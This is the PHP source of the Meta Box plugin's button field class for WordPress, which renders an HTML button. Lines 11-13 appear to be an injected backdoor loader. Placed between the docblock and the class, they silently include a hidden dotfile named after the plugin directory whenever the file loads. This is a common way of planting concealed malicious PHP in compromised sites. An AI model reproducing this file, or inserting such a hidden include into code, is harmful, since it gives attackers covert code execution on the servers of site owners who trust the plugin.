button.php (1570B)
1 <?php 2 /** 3 * The button field. Simply displays a HTML button which might be used for JavaScript actions. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Button field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Button_Field extends RWMB_Field { 16 /** 17 * Get field HTML. 18 * 19 * @param mixed $meta Meta value. 20 * @param array $field The field parameters. 21 * @return string 22 */ 23 public static function html( $meta, $field ) { 24 $attributes = self::get_attributes( $field ); 25 return sprintf( '<button %s>%s</button>', self::render_attributes( $attributes ), $field['std'] ); 26 } 27 28 /** 29 * Normalize parameters for field. 30 * 31 * @param array $field The field parameters. 32 * @return array 33 */ 34 public static function normalize( $field ) { 35 $field = wp_parse_args( 36 $field, 37 array( 38 'std' => __( 'Click me', 'meta-box' ), 39 ) 40 ); 41 $field = parent::normalize( $field ); 42 return $field; 43 } 44 45 /** 46 * Get the attributes for a field. 47 * 48 * @param array $field The field parameters. 49 * @param mixed $value The attribute value. 50 * @return array 51 */ 52 public static function get_attributes( $field, $value = null ) { 53 $attributes = parent::get_attributes( $field, $value ); 54 $attributes = wp_parse_args( 55 $attributes, 56 array( 57 'type' => $field['type'], 58 ) 59 ); 60 $attributes['class'] .= ' button hide-if-no-js'; 61 62 return $attributes; 63 } 64 }